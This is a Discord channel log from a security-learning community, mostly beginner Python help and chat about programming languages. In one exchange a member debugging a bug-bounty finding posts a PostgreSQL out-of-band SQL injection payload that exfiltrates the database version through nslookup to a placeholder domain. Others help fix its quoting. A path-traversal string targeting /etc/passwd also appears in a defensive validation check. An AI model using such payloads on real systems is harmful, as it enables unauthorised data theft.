#programming
1 messages · Page 12 of 1
Fr
Testing is the most boring part of coding
"You should test your code to check it hasn't any problem" Ofc, tech bro
Nah it can be the most interesting
What do I need to do to break this code?
Yeah
And writing good tests is an art
testing should be what you start before writing code
The test should define what you want the code to achieve
print(chr(sum(range(ord(min(str(not())))))))
hehe
is there a legit way to bypass TrustedTypes
aside from reversing the createPolicy process
apart from finding out how the createPolicy process is made and trying to reverse it x inject it
is there a legit way ?
back in the trustedTypes github issues there were a lot of cases of bypass and I believe all of them if not most got all remediated
amog us
I have a problem i'm trying to solve in python and I'm doing something wrong and I was curious if I showed you the problem could someone help me out?
here's the problem:
You're a member of several secret societies. To get into a meeting you have to remember two passwords, but each of the secret organizations has a different set of passwords:
The Illuminati - "pickle" and "class"
The Lizard People - "elif" and "variable'
The Guild of Calamitous Intent - "function" and "block"
When you go to the secret location, the person at the door asks for the passwords one at a time. You can provide the two passwords in any order, but they both have to be for a specific secret society. For example:
Door: Please provide a password:
class
Door: Please provide another password:
pickle
Door: Welcome to The Illuminati! This week we're deciding which football team will win the Superbowl. Mwahahaha!
If you enter at least one of the passwords incorrectly, you won't be allowed in:
Door: Please provide a password:
java
Door: Please provide another password:
class
Door: This is just an inconspicuous local community theater group. Go away!
Create a program that asks the user for two passwords similar to the examples above. If they enter the correct passwords in any order, they should get a message welcoming them into the correct secret society. If they enter even just one incorrect password, they should be shooed away. Turn in a .py file with your code.
Hints:
You can get user input and store it in a variable. You can do this for both passwords before you need to make the comparisons
There are multiple ways to check the password combinations
Use the input() method and if statement, else or at least elif for two passwords you could use a while loop as well but keep it simple at first and try what you have learned before.
Or build a class for every object
i've been trying for the past few days but i keep doing something wrong
is there way to give me an example?
At this point it would be interesting to see the code. Otherwise it will be difficult for people to help you.
ok this sucks but ill show
Make three classes. Illums, lizards and the guild. Then you have to dive in OOP .
passWord1 = 'clam', 'pickle'
passWord2 = 'pickle', 'clam'
passWord1 = input("whats the password?")
passWord2 = input("what's the nest password?")
if passWord1 == passWord2:
print('yay')
else:
print("no")
i had it far better when i first started trying
then it started going down to crap
First i see is the declaration of the variables. U cant use the same var name for the pwds and the inputs.
so i can't use pickle and clam in each variable
i was getting it going at first but the if or else statement would only work
i just need an example of like illuminati code and help me understand and i'll be able to do it
i feel like my head is splitting into
i just started programming last week
You can assign several values to a variable in python, but this is not very practical for different properties. The problem here is the variable names. PassWord1 is used twice. This does not work with different values. Python rewinds the code from top to bottom. This means that passWord1 is overwritten with the next passWord1 variable.
crap
I feel it ^^ . Every programmer goes the same way mostly ^^
That means you should go back to variable declaration topic and operators.
Followed by oop
passwords = "pickle" , "clam" then on next prompt type password1 = input ("enter password") then next line password2 = input ("enter second password"
then i need an argument of some kind or start with if statement
Best advice i can give without providing the solution. Try it with one of them before you confuse yourself. Take the illums, write your code until it works and you'll get it for the other lizards and guilds ✌️
For the basics always keep it simple.
ChatGPT or similar would be really helpful here
You are right. Its very helpful in such cases.
yeah, id use chatgpt but i feel like it would go overboard with the program. im needing a solution in order to know what i've been doing wrong. cause im freakin going nuts here. i've tried different ways but they were all wrong
Its hard to tell but than you haven't understand the basic concepts. And its not meant rude just honest. I can promise you that will be even more frustrating you later if you don't go back. 🤝
@shut beacon Is this for a class assignment?
I would ask your instructor for help
this sounds like a coursework assignment
one thing that will help you immensely as a new programmer is to map out the flowchart of what you want your program to do
draw it out so you can visualize and see the logic first
Hi guys, is there somebody who can help me with a simple postgresql command syntax?
just ask
I would rather dm if possible
just hit us with the problem and we'll do our bes tto help
Okay then I am a bug bounty hunter and I found a OAST sqli. However I am unable to extract any information such as version or maybe current user to show the impact. My payload did not work on the website, so I setup a postgresql container to test my payload and I am countering a syntax error.
copy (SELECT version()) to program ''nslookup '||version()||'.<domain>''
the syntax error happens when performing concatenation
probably your quote positions
combine " and ' instead of trying to use ' ' to enscapsulate two things
I tried it and got a different error that I currently don’t remember what it was. But I modified the quotes and the payload so many times but still nothing
there is not much about postgre oast sqli on google
you could also use CONCAT() instead of the double pipe operator
Since version 9.1, PostgreSQL has introduced a built-in string function called CONCAT() to concatenate two or more strings into one.
Here’s the basic syntax of the CONCAT() function:
CONCAT(string1, string2, ...)
Thanks, I will look into those
keeping it simple, this seems to be an intro problem.....
yeah I was being a bit facetious
le kek?
sorry, still trolling 0day with Certain Doom
- you should exactly know what you're trying to do
- you should exactly know the correct syntax to deliver said result or know the exact algorithm to deliver said result ( in the case of the algorithm it's recursive<the way you write code, unrelated to the problem you might be facing>, you need to know how to translate it into material code, you need to write the correct syntax )
if you don't know the correct syntax => you should know the pseudo-code
knowing the correct pseudo code => you should look for the ways to translate pseudo code into practical code
if lost check the documentation of your coding language in your case python,
I don't know if freecodecamp has python, they must have python courses
I recommend freecodecamp and maybe any alternative that can come as close in terms of documentation like the Mozilla documentation of certain web features
in worst cases ww3school can be your way to go
if you followed my instructions and still find yourself lost
I can give you a hint that will most probably solve your problem
but you must prove your commitment by showing me what you learnt from my previous comment
I'm using helmet.js
I decided to use the 'parent' helmet() middleware.
noSniff: true,
ieNoOpen: true,
hidePoweredBy: true,
would that work just as the regular app.use(helmet.js)?
app.use(helmet.ieNoOpen());
app.use(helmet.hidePoweredBy());
Should be noSniff i think but it should
Yeah, some typo. but I solved it thx lol
Gave +1 Rep to @nocturne wadi (current: #208 - 30)
i am pretty new to this so sorry if its stupid..but i was just making a simple python script with solenium to open chrome and make a search and i noticed that after some seconds i get a notification on my terminal from Tensorflow..thing is i dont run any ai learning and i dont even have tensorflow on my pip list.is there a logical explanation as to why i get the msg about it running?also my chrome has no extensions if that matters at all
my only thought is that google just automatically stores information for an ai or something?idk.like even if it was some sort of malware shouldnt I have tensorflow on my piplist?
uninstall tensorflow
Check again after your next few reboots to make sure it isnt back
Unless someome else has better advice
thing is..i dont have tensorflow...like it doesnt exist as far as i know
go through the stacktrace
it's possible that there's a buried dependency on it for some module you brought in
1.method would be with nested if to check for pwd and then prompt out the door is unlocked particularly for which club.
2. To create a dictionary with key,val as club name,passwords(combination) ...
Now calling them in inverse
The tc(test cases) on this would mainly depend on the words being in small and capital letters or playing a mix of it ...
Other than that we are good
Incase this assignment is still valid lemme know ...
Will help furthermore
And if you can post more of such questions ...
Helps us become better in programming
I guess that's for him to decide whether he wants some further help or not...
Ok...
That's your perspective on this ...
But still thanks for sharing
Gave +1 Rep to @low mantle (current: #2231 - 1)
their main problem is an algorithmic problem and beyond that
0- they don't know how to resolve the problem in an abstract problem solving way
1- they randomly wrote some pseudo-code that doesn't appear to be solving the problem in question
2- they didn't take feedback or respond, meaning they might not be willing to improve or learn which defies the way they asked for a response ( maybe looking for a ready to go solution )
3- they lack fundamental basis of algorithmic understanding
4- they lack the basis of writing correct fundamental python
I am kind of new to the server and to this community ...
I just saw someone ask for help and i did so 🤷😅
me too I offered help before you came here
But as you shared so many pointers will try to keep these in mind and guide them like this ...
Thanks for sharing insights on this ...
Highly helpful
Gave +1 Rep to @fiery eagle (current: #2231 - 1)
thank you as well for being enthusiastic about helping others
Gave +1 Rep to @prisma oriole (current: #2231 - 1)
gifs don't work xD
You have to verify first
You need to verify for embeds.
what is the verification process like ?
@fiery eagle
Not too slow to catch your deleted message 😮
omg jabba is involved if there's issues, this looks funner (more fun) than i expected
I know 😄
Just kidding 😅
Jabba is our bot maintainer and Community Manager.
i'm a big fan of transparent gifs
i collect them
^_^
xD
it's supposed to be a high value mematic content$
xD
Can we please keep the channel relevant to the name please.
one of them? 👀
I might have dementia, I keep forgetting my passwords creating new accounts
endless cycle of helplessness x skill_issue "confirmed"
thankfully no money was spent ||guess money might cure them those issues ||
or was it ?
I'm the noobest yay
Just do <name of site>1234, then give me the usernames/emails to all your accounts
Joking
xD
learning Qt Creator with C++ what you think about a desktop application with this type of login?
wops sorry
not bad
Qt
You style it with QSS so its pretyy much exactly like css but some different names and everything isnt there like background-size etc
Interesting
interesting. pretty good tbh
looks really cool, good job
hey guys, in python how do i fix "from" or "import" not recognized as internal or external command
You’re probably typing it elsewhere.
Most likely the command line
You need to run a Python interpreter or add it to a Python script (a text file with your code in it)
how bro
i was running it in cmd
Google should help you here. Search up tutorials on how to setup your beginning Python environment 🙂
Yeah, cmd won’t understand as from and import can only be understood by the Python interpreter.

Can you paste the command output here?
when you run a python script from a terminal, you need to start the command with python<version>, most commonly like python3 <script_name>.py
i should take the time to watch a genuine, full ~15 hour course like this (not in 1 sitting ofcourse) and just write down what i dont understand or pause the video at a topic i dont understand and do some more research on it while it's paused
thanks for the video
Hello is the a framework or tool to handle graphql in cpp ?
Very probably
Is it possible to build a discord bot using C/C++?
Yes!
Possible yes, but does it make any sense?
Personally I wouldn’t write anything subject to possibly malicious input in C or C++.
Well it consumes discord message contents 🙂
And it doesn’t need to be intentionally harmful. Corrupt data might cause issues as well.
Why specifically C though? Can't this happen in any language?
I mean there are ways to prevent it
Tbh I wouldn’t write anything new in c or c++ but that’s me.
I feel like it more depends on your ability, rather than blaming the program language itself
Let’s put it this way: some languages make it easier to write buffer overflow attack resistant code, for example.
I believe C has protected functions now? 😄
Obviously not 100% foolproof but neither is any language
Well whatever. If you feel like spending extra effort on securing your c code, go for it 🙂
I would trust a program someone has spent extra time to fortify over one that someone wrote really quickly 😁
Ok.
I was just asking. I'm not going to build an actual bot using C.
It's possible to build in any language as long as you can work with an API.
I would recommend to stick to languages that have an active framework, i.e. python, js, go
Yh, I'm not crazy or smart enough to build anything in C.
That makes one of us 
Make it in bytecode
By hand obviously
fr. c++ std lib offers a lot of goodies. really hard to go wrong with smart pointers. funny enough the most unsecure/buggy c++ code i've seen are the lines that interact with Win32
So, why don't these companies use Rust? I mean it's a new language with C/C++ behavior but more secure as I know.
because they have a working c/c++ codebase that is 15+ years old and everyone knows it inside and out. there is a very large amount of time it takes to get developers to be as proficient in one language as another. and it’s not comparable to swapping from, say, python to javascript. rust is a difficult language to learn and master. even more, there is a rich history of libraries built with c/c++ that just don’t have a rust equivalent
Good luck getting a memory exploit in a python program...
Technically python script
I agree but won't the developers get to the place where they're at C/C++ with rust in a few years if they start the migration now? I mean little by little. They could make it, right?
I mean a lot of stuff could easily be written in Python using pyinstaller
I believe it would need a lower level interface though which is probably less secure than just writing the whole thing in low level
A lot stuff doesn't need to be written in Python tbf.
I highly doubt, adoption takes a long time. We still have Windows Server 2003 running and COBOL
I agree
generally shitty old lib inclusions. static c libs are way more common than anyone wants to admit. I think that writing more modern C/C++ is fine, it's just going to be slower and requires more actual expertise in execution and runtime than other high level languages
rust doesn't really behave the same as c/c++. It requires a very different mindset than C/C++. Mathematically, I think it is much reliant on mechanisms that can lead to code insecurity.... is it better? I don't think that there's a consensus either way at this point. It does some things easier, but also has some other corners that need to be worked around (as all languages do).
You're trading one set of issues for another. I still think rust is a better language overall though
I think better is a completely subjective statement, and requires me to reorient the way I think about memory management in ways I find counterintuitive and more frustrating than convenient. It's a very good choice if one wants a language with memory-specific constraints out of the box, though
Well yes, but eliminating an entire class of memory bugs is a pretty good tradeoff imo
You say that, but COBOL is still very much alive
Mainframes are still king in finance (and commerce, iirc)
would there be a case where a person would be obliged to write asm or masm ?
or is it far fetched from reality ?
LoL
would there be a case where I have to learn something? I'd prefer not to learn something
so you have learned everything ?
name everything of knowledge this universe has to offer, write it as a transfinite induction
or do you have infinite time to learn infinite things ?
think not
I wouldn't waste my time (monthsXyears) learning things I'm not gonna use
your statement seems like a smartless dumb statement, you have no fucking idea what learning is or what it means
how much time and energy it takes to learn
that is if you knew that: you wouldn't embarrass yourself with such an ignorant comment
Speaking of learning, now is the time to learn how to verify your account, guess someone still failed to learn that
Writing is probably rare unless you need to do some really weird stuff, reading is an essential skill for reverse engineering
I wouldn't say it's too weird when doing really low level stuff like OS or embedded systems, depends what ur working with
python vs lua for writing tools what do we think
Depends on the tool
Each language will have its pros and cons but for most exploit scripts I’ve written, Python has been more than enough. It has a large list of third-party libraries, active development, and its syntax is user friendly imo.
I haven’t used Lua for writing exploits except on a select few instances and even then they were mostly just reverse shells.
Lil something I wrote quick
https://gist.github.com/VTSTech/1b39e434716daff200563f784d4f1dab
VTSTech-TRAVERSE v0.1 - www.vts-tech.org. GitHub Gist: instantly share code, notes, and snippets.
How long did that take
30sec for the first version. Maybe 10min with a few more variables.
No for loop? :/
Hi everyone, I want to learn java programming, can you please suggest some good books/youtube channels that I can use to learn java?
Codecademy is a good place to start imo
Most of what ive learned about C++ specifically has been codecademy then googling stuff while doing side projects
And the Oracle docs are a great place for research
exactly
doing high level reverse didn't come across assembly
but for lower levels or high levels such as games when decompiling that's when you'll see asm
to be honest i might have noticed asm or something similar back when i was manipulating a cheating engine for an emulated game
although I don't remember vivdly seeing any asm expression
just game variables
modifying the variables can break the game as those same variables are directly related to coherent game loops
pretty sure game engines should be able to output things in asm since they're doing literal reverse
so far I never needed to write it for the sake of programming
( I only wrote the closest to asm in a certain course that was somehow obscure since they didn't teach the things you find online, I did my best but i never encountered the course material in internet, it was just local to a college course, which I doubted its legit, but apparently it was a very unique logic unrelated to asm, my biggest regret is that I couldn't understand it in its whole integrity back then, and it wasn't my fault because I couldn't retrieve the course physically, and using the internet I couldn't even decipher the course part i have acquired, I assumed the course was falsehood since the internet taught things differently,
I only realised the course was legit when reviewing with a fellow classmate who happened to have the full physical course and not only that he understood it all, the trick to this course isn't assembly, but the inside logic that only solves the course problems that you won't encounter in real life as far as i remember, that is only related to mips )
I believe in times of doing embedded stuff using hard memories/automata with very small storage and a physical small volume like things related to aviation for example
the aviation was something I was told by someone who knew exactly what their talking about
that is when people might be forced to write asm
because any higher level code might not work with non complex devices
unless by nano technology
in the internet didn't find anything specific or even interesting at all
I even heard that sometimes engines are left with asm output and those who engineer or manipulate those engines
use that output to determine their next move or current status
but this is really technical stuff, for when critical things happen, the engineers would automatically know what's going on
I really don't know if this is true or not, because outputs are expected to be high level outputs in most cases like when you're driving a car or for example inside a factory that has many engines
Most embedded code for vehicles is written in C and must follow MISRA standards
Which basically says don't do anything stupid
Or particularly clever tbh
Though to be fair, clever code is not always good code
My Prof has a saying that says don't write clever code because when it comes to debugging you need someone twice as clever to figure out what went wrong
Yeah readability should always be a priority
Smart prof
You start learning that clever code is bad usually about 2 years in. This is also generally preceded by you cursing past self for writing said clever code
Especially when you're doing pointer magic and need to debug something down the line 😭
Did some beginner-level Python exercises on some platforms, the amount of solutions doing it all in one line is absurd. “Pythonic” they say
Hey @vital hemlock please don’t share keyloggers here:)
okay bro but can I ask for the help here
Not with keyloggers or other malicious scripts, that is restricted to our advanced channels
okay got it.
https://blog.jetbrains.com/blog/2024/10/24/webstorm-and-rider-are-now-free-for-non-commercial-use/ this is pretty cool
sorry I don’t use java, can you explain it in python terms
Thats really cool!
Thankfully i get the whole thing with student license
IDEs for Javascript and C# are Free for non-commercial use
Does anyone have a good resource(s) for making secure programs(preferably in java)?
see above, also if using a framework, read the framework docs
Thank you so much!
Gave +1 Rep to @brazen eagle (current: #12 - 610)
What kind of application are you coding?
Nothing specific, im just learning java and wanted to look at some best practices
ok
can you send your code?
Here, if possible. That way others can help if needed, and can see the resolution
can you show your burp request headers?
or just the whole request actually
If you're logged in to an account you care about in this session, please delete this ASAP and redact your cookie information
fair enough
when you send this post request in Burp, you get back a response that has set-cookie as a header?
can I ask what this is for? There may be an easier way to do this
Microsoft has APIs for this
Do you not have access to the account to set up the app registration?
What is your use case? You should be able to set this up with any account you already have access to
Sure, feel free to DM me
This sure sounds suspicious.
:hammer: makonheiro#0 has been banned.
are there sites that hide their index.html file?
im trying to use the template of this site but i can't view the index after downloading with "sav all resources"
can you show me what template you're using?
like send the link
or even just a screenshot of the files
can i talk to someone about virus codes?
Malware is restricted to our advanced channels.
Could you grant me access to those channels?
It’s all detailed in the above document:)
Yep, read it. I'm 0xD but don't see them
Your level on the website is currently cyber crusader. You won’t be able to access the channels until the event is over unfortunately
okay thx 😄
Gave +1 Rep to @true pumice (current: #6 - 1342)
Someone wanna talk about web app defense?
no ._.
What about it?
I saw many projects on github have a dedicated profile for it, like this one https://github.com/ScrapeGraphAI
I want to create a similar one as well, a profile where I can put most of my related repos into it. But to get this, do I have to create a new github account or sth?
Its an organization account
i get it, thanks!
Gave +1 Rep to @hollow sorrel (current: #20 - 425)
if input("hello I'm hoping to learn a programming language other than python") == "go learn javascript":
print("thank you I will go and learn that")
else:
print("oh I thought you were going to say learn javascript")
Learn rust
fn main() {
println!("ok thanks I'll be back once I've learned rust it looks simple enough");
}
Anyone know where to get started on learning kubernets?
or at least got a recomened path to learn?
check out this

W jabba
how important is learning java
It also closely ties in with OOP (I learned it through Java)
oh wow. theres a k8s room here? i've been itchin to look into kubernetes
I’m guessing it would be important for like web pentesting
Never heard of kotlin before
I just started learning burp
Very interesting tool I must say
Main reason why I started is to use the proxy and bypass the redirect this stupid scam site uses so you can’t use a computer to analyze it
But first I must learn 👊
After the THM room what other resources do you recommend to learn further
Depends whether you're doing white box or grey/black box. A huge number of enterprise web apps are written in Java (unfortunately) so it's kinda essential for code reviews. Also worth understanding things like Java random number generation, even if grey / black box.
@stray canyon Please don't advertise your discord here
Need help with saving/restoring states in my game using the pickle module. It creates the, it just doesn't read it I guess.
Where's the part in the code flow where you login and then load the progress?
picture in top right shows save and load functions, picture on bottom right shows login logic
Yeah but I don't see the class object being created, if the load_progress() is being called by login() or its handled differently
Gave 1 Rep to mknukn (current: #19 - 432)
Thanks so much, it was a dumb mistake. The save state was an after thought and I left out the class. The users will much appreciate the ability to save states on a large project like this
when you create a new python project, it should automatically download the python version as a virtual environment if it doesnt exist in the system
I’ve got a question about a c program and execve(). On some VMs, running execve(file, NULL,NULL) will set argc to 0 and on some argc is still 1 (argv is null). What could be causing this.
i think it might be OS dependent? (not so sure) like when you pass NULL as argv some os implementations might explicitly set argc to 0, while others default to argc=1 with a NULL argv
but i'm not an expert tho
i got 0 on a ubunto WSL and i got 1 on a ubunto VM. Ive also read that the kernal does not care and will run regardless, i think it could be related to like coreutils package overriding it.
i see no difference in shells tho
strace give execve("test", [], 0x555555558038 /* 0 vars */) = 0 on all machines. does that tell me anythign
could it be different versions of glibc or how the runtime was compiled on WSL vs the VM?
yeah that was mb homie
How did u learn c?
I feel like I should learn a language besides python and js
c will make you appreciate python more
tbh
Thx I gtg
aight sure cya
bro u have more dependencies than actuall code 💀
@stoic condor please don't self promote.
Sorry...will keep in mind next time
😅😅it was my first time so maybe I might have used more..
Here's a programming "riddle" for you all
l = []
for a, *l[-a:], c in [range(i) for i in range(3, 7)]:
print(l)
What is the output of this? No cheating by running it!
Explain your answer, and use spoilers if possible)
||
l = [ ] #empty list
for a, *l[-a:], c in
# The loop will unpack each range object into variables:
a # takes the first element of the range
*l[-a:] # extends the list l by unpacking elements into the slice l[-a:]
c # takes the last element of the range
[range(i) for i in range(3, 7)]
# creates a list of range objects for i from 3 to 6. The last number in python in a range is exclusive that’s why 7 is not in the following range:
range(3) -> [0, 1, 2]
range(4) -> [0, 1, 2, 3]
range(5) -> [0, 1, 2, 3, 4]
range(6) -> [0, 1, 2, 3, 4, 5]
Will the code be executed?
I think not because the *l[-a:] is not executable in Python. Not sure about the right wording. You can't directly use * to extend a list slice like this inside a for loop. This part of the code would create a error because you can't assign to a slice in this context like l[-a:]
||
So ||nothing|| will be printed just ||the error in the console ||
If im right 😂 that took me some time on the phone notes 😂
||Not quite. So *l[-a:] in this case is a valid assignment of l. The code does run.
a, b, c = range(3)
# is valid, now say you didn't know how many numbers were on the right-hand side. here's where the * operator comes in
a, b*, c = range(10)
# The first element goes to a, the final element goes to c and because of the * operator, the rest go to b which becomes a list
# kind of like using it in a function with **args and **kwargs (see so post at the end)
# Now for the lists, say we have l as
l = [1,2,3]
# we can replace single elements like so
l[1] = 0
# l -> [1,0,3]
# but we can also replace *multiple elements* using a slicing reference
l[:-1] = [0,1]
# l -> [0, 1, 3]
# note how the slice operator in this case gets *all elements before the final one* and replaces it
# ...but what if the size of the list we are modifying is smaller than our right-hand assigment, such as
l[:-1] = [0,1,2,4]
# l[:-1] only gets 2 elements, and we're trying to assign 4! what happens?
# l -> [0, 1, 2, 4, 3]
# It won't error, but just put force all the elements in. If the slice refers to all elements to the *start* of the list (like in our example), then it'll force it to the start. And vice-versa.
# combining the behaviour of the * and list assigment, if we take this example:
l = [1, 2]
a, *l[:-a], c = (1,2,3,4)
# a becomes 1, c becomes 4
# *l[:-a] therfore becomes *l[:-1]
# last element in l is 2 and the slice refers to everything *before*, therefore 1st element will be replaced and the rest of the elements inserted to the start
# the rest of the elements in the list to be assigned are (2,3) therefore l will be come
# l -> [2, 3, 2]
# note how the final 2 is untouched from the oringinal list
Now with that in mind, note how the whole expression a, *l[-a:], c is a valid assignment, therefore valid in the context of a for loop.
https://stackoverflow.com/questions/509211/how-slicing-in-python-works
https://stackoverflow.com/questions/35636785/star-operator-on-left-vs-right-side-of-an-assignment-statement
||
||
So we would get an error if the iterable doesn’t contain enough items to assign to all the mandatory expressions. Here for example if we would have :
[range(i) for i in range(2, 7)]
range(2) -> [0, 1]
#should result in an error?
||
||Not sure what you mean, in the code it's using range(3,7)||
Just went further thinking about when the foor loop would break.
It will break when || [range(i) for i in range(1, 7)] || Not like i thought with || [range(i) for i in range(2, 7)] || 
Correct, hence why its range(3,7)
Any c programming resources other than learn c org , code for win and cs50
i'm looking for a bash scripting resource that goes from classic hello world examples to advanced programming of command line tools, with some command line GUI aspects involved.
something in the style of the old 2010s programming books, but for bash, preferably 5.1+
I'm building out a current tool I've created into something larger and more versatile, but want to do a bulk by hand myself instead of asking gpt a billion questions and double checking everything.
or if there are tools to create tools, that's cool too.
you can checkout this github page https://github.com/rawiriblundell/wiki.bash-hackers.org/blob/main/start.md
Extraction of wiki.bash-hackers.org from the Wayback Machine - rawiriblundell/wiki.bash-hackers.org
you can also checkout this book "Classic Shell Scripting"
the book is from 2005. I could google it, but feel it would miss the nuance; is the largely still applicable? there haven't been drastic changes to the language that will make this incorrect or at least not as useful?
this looks great. 👍🏻
Good luck to you! 
Actually a pretty good concept. Ngl this is interesting
I need to do some file reading in a project of mine. This is how I am checking for path traversal:
from argparse import ArgumentParser
from pathlib import Path
DOCUMENT_ROOT = Path("/home/username")
def validate_requested_file_path(requested_path: Path):
"""
Only allow files in the subdirectories of `DOCUMENT_ROOT`.
(is this check secure enough or is it possible to bypass?)
"""
return DOCUMENT_ROOT.resolve() in requested_path.resolve().parents
parser = ArgumentParser()
parser.add_argument("filename")
args = parser.parse_args()
try:
filename = Path(args.filename)
assert validate_requested_file_path(filename), "No path traversal! >:("
with open(filename) as f:
print(f.read())
except Exception as e:
print(f"Error: {e}")
I tested this check works with some symlinks and relative paths and it seems to be working fine and preventing those, but maybe I missed something. If anyone can think of a way to bypass this lmk
Does /opt/home/username/xyz work?
Not on my PC right now
Seems like it caught it:
~$ sudo touch /opt/home/username/test.txt
~$ ls -l /opt/home/username/test.txt
-rw-r--r-- 1 root root 0 Nov 23 13:37 /opt/home/username/test.txt
~$ python3 main.py /opt/home/username/test.txt
[PosixPath('/opt/home/username'), PosixPath('/opt/home'), PosixPath('/opt'), PosixPath('/')]
Error: No path traversal! >:(
I added a print statement for requested_path.resolve().parents in there. You can see that the parents don't include PosixPath('/home/username') so it should be fine:
def validate_requested_file_path(requested_path: Path):
print(list(requested_path.resolve().parents))
return DOCUMENT_ROOT.resolve() in requested_path.resolve().parents
If by /opt/home/username/xyz you meant making it a relative path inside xyz like /opt/home/username/../../../etc/passwd then I am pretty certain that it won't work either because the resolve() function is converting the path to an absolutely path, including resolving symlinks etc. so it should be aight.
Thank you for responding
Hey, please make sure you're asking administrators before recruiting testers here.
Im sorry for that
@exotic holly
Linear search
def linear_search(arr, target):
for i in range(len(arr)):
if arr[i] == target:
return i # Return the index where the target is found
return -1 # Target not found
# Example Usage
unsorted_list = [11, 3, 7, 9, 5, 1]
target = 7
result = linear_search(unsorted_list, target)
if result != -1:
print(f"Target {target} found at index {result}")
else:
print("Target not found")
Binary search
def binary_search(arr, target):
low, high = 0, len(arr) - 1
while low <= high:
mid = (low + high) // 2 # Find the middle index
if arr[mid] == target:
return mid # Target found
elif arr[mid] < target:
low = mid + 1 # Search the right half
else:
high = mid - 1 # Search the left half
return -1 # Target not found
# Example Usage
sorted_list = [1, 3, 5, 7, 9, 11]
target = 7
result = binary_search(sorted_list, target)
if result != -1:
print(f"Target {target} found at index {result}")
else:
print("Target not found")
Two simple codes for you to work and compare with courtasy of AI.
I got it
what if the target value is -1?
Shouldn't matter, it's returning the index not the value
That's true, but this is obiously python.... why would you use a length-base for loop instead of a more pythonic list comprehension? For learning programming, I think an argument can be made in favor of the for loop. As actual python code, I would consider it sub standard and not in line with best practices for this specific language.
It was really just an example for a reason to learn algorithms.
Oh, absolutely agree with that. In practice, range(len()) should never be needed.
goys how can i start programming
Which area of programming are you interested in 🙂 ?
software developer ,web developer, computer programmer
I think that it is too much 🙂 . You should pick one are that you're most interested in and specialize in it 🙂
software developer
You can check out CodeCademy , it's a really useful software for someone who's seeking to start he's programming career 🙂
what about visual code studio?
That's an IDE , you can use it to write your code 🙂 .
so, i can write by any language in it?
Majority , probably any that you're interested in 🙂
between js and python, which one is the best?
Well , they server different purpose , depends what you want to do 🙂
can you add me in your advent of cyberso we can go through together
There's no such options on THM , but if you have any trouble and need help , feel free to send a message in https://discord.com/channels/521382216299839518/522158539129618453 or https://discord.com/channels/521382216299839518/1305926862114914325 🙂
anY ruby devs here ?
Hello everybody, how can I fix that? I try import and pip install but it doesn't work
@upbeat frost help me pls
This is why you use virtual environments
Which OS is this ?
depends on your use case, js is most commonly used in front-end part of websites (it's not limited to it tho, you can use js everywhere). python is all rounder, you can use it anywhere you want. it's worth mentioning that python and js are interpreted languages which means they will not perform good in apps that require performance
you cannot go with any of them thb
tbh
just pick one
It's 12.7.2
i choose python
can i use python in vs code or it needs something else???
You can
so i have to enable it or ?????
install python interpreter on your machine and install python plugin for VSCode
and you will be all set
yes. what is your question?
in VS code you search through the extensions and there should be one for python, if your PATH directory is setup properly for python and you set your VScode interpreter as python it should be all sweet
you can even just use the terminal with powershell, cd to your code's directory then run python3 (or whatever) SCRIPTNAME.py , and it will run the python file like normal in that terminal. Alternatively I think you can just enable the python interpreter within that terminal
thanks, buddy
Gave +1 Rep to @shy rover (current: #1592 - 2)
I am new to programming and would like to learn C++
hello, I'm back after a few months. Ummm how do I use python/vs code again?
There are many online tutorial videos on how you can set up a Python environment along with VSCode
Would you mind sending me links to those please?
Welcome back 🙂
Use your fav search engine
Thank you
Gave +1 Rep to @upbeat frost (current: #10 - 792)
Alright
don't tell me exactly where I'm wrong just tell me less or so hints about what I'm doing wrong
Ik the if input () is wrong
How sweet
yea, almost our anv
tell me, how can I fix it
You can start by making pseudo-code or flow diagrams yk
hm?
1 sec
alr
Okay
ah
Helps to define the logic of the program before writing it yk. I'm a "rookie" programmer too, can't even call myself programmer since i'm still learning.
So don't take any advice i give as an absolute truth
alright, helps to know I'm not the only one as a rookie
Everyone was a rookie at some point in their life
You should really make one of these.
I can help you with the syntax if you need. But it helps A LOT to write down the logic before the code itself
as exemplified in the flowchart
alright, this time I will ask, how do I write it?
pen and paper will do
alr, done
there's websites that does this as well 1 sec
kk
For now you can leave only the print statements like:
print("""
YOUR
MESSAGE HERE
:)
""")
alright
hmm?
The website for making flowcharts
how?
Forget it, let's just focus on the script.
Start with the imports you going to use, then you print the message
import time
import random
print("""
Hello there ...
""")
I know you're learning, but let me ask you, you know basic programming concepts ? Loops, conditions, etc ?? Not the advanced stuff, just basic
We'll get to that later
alright
I'll explain everything, you're the one that's gonna make the code though, like you said, HINTS ONLY haha
Yea
We can set the score system later. Let's focus on the main functionality for now
ok
You need to:
1 - Define a random number in a range. Example: 1 to 100. Use the random module for this
2 - Define max tries for the game (like 5 or 10 or whatever you want)
3 - Create a loop and make an exit condition for the loop (win the game)
(firstly how do I make this box)
I got in trouble a few months ago for not using it
Start with the first thing. How do you pick a random integer in python ?
https://docs.python.org/3/library/random.html#functions-for-integers
I'll make it easy for you: Search for "random integer"
it's on the very first page, makes sense since it's probably one of the most used functionalities
Yes. where a and b are the ranges
It's the ` character
oh
you can send a screenshot too
Choose one at random
python -m random egg bacon sausage spam "Lobster Thermidor aux crevettes with a Mornay sauce"
Lobster Thermidor aux crevettes with a Mornay sauce
# Random integer
python -m random 6
6
# Random floating-point number
python -m random 1.8
1.7080016272295635
# With explicit arguments
python -m random --choice egg bacon sausage spam "Lobster Thermidor aux crevettes with a Mornay sauce"
egg
python -m random --integer 6
3
python -m random --float 1.8
1.5666339105010318
python -m random --integer 6
5
python -m random --float 6
3.1942323316565915
YAY FINALLY
lol
No, this is the command line usage
oh
You need this: random.randint(a, b), also remember to assign this to a variable
ok, sorry this is all getting confusing
No problem, here to help
let me get sum to drink
1 sec plz
alr
back
ok so
what I have right now is
import time
import random
print ("hello there my loveley wife, I'm currenty trying to make a little game for both of us")
input (" ")
print ("I truly hope you can enjoy this game, it is a game for both of us to enjoy")
time.sleep(2)
print ("would you like the level to be hard, medium, easy")
input (" ")
is this right, or wrong
You can remove the inputs and time.sleep() and use only one print statement
alright
As for difficulty, we can implement that later
alright
Difficulty meanning number of tries
so I got
import time
import random
print ("hello there my loveley wife, I'm currenty trying to make a little game for both of us, I hope you can enjoy this game as much as I will")
up to this point I'm right or wrong
Right, now assign the random integer to a variable.
After that, you can confirm that the number is indeed random, by printing the variable
ok, hints plz
How do you create a variable in python ?
(sorry didn't mean to make it sound like a command)
yea
OHHH
I remember now...
fuck
I rlly need to get back in this again lol
ok, so now what?
2 part
alright, but I'm thinking about
setting it up for the player to choose the answer first, like easy, hard, medium and depending on the input is depending how many tries they get
yk?
Pseudo-code
INPUT: Choose dificulty
If input is EQUAL to 1:
do this
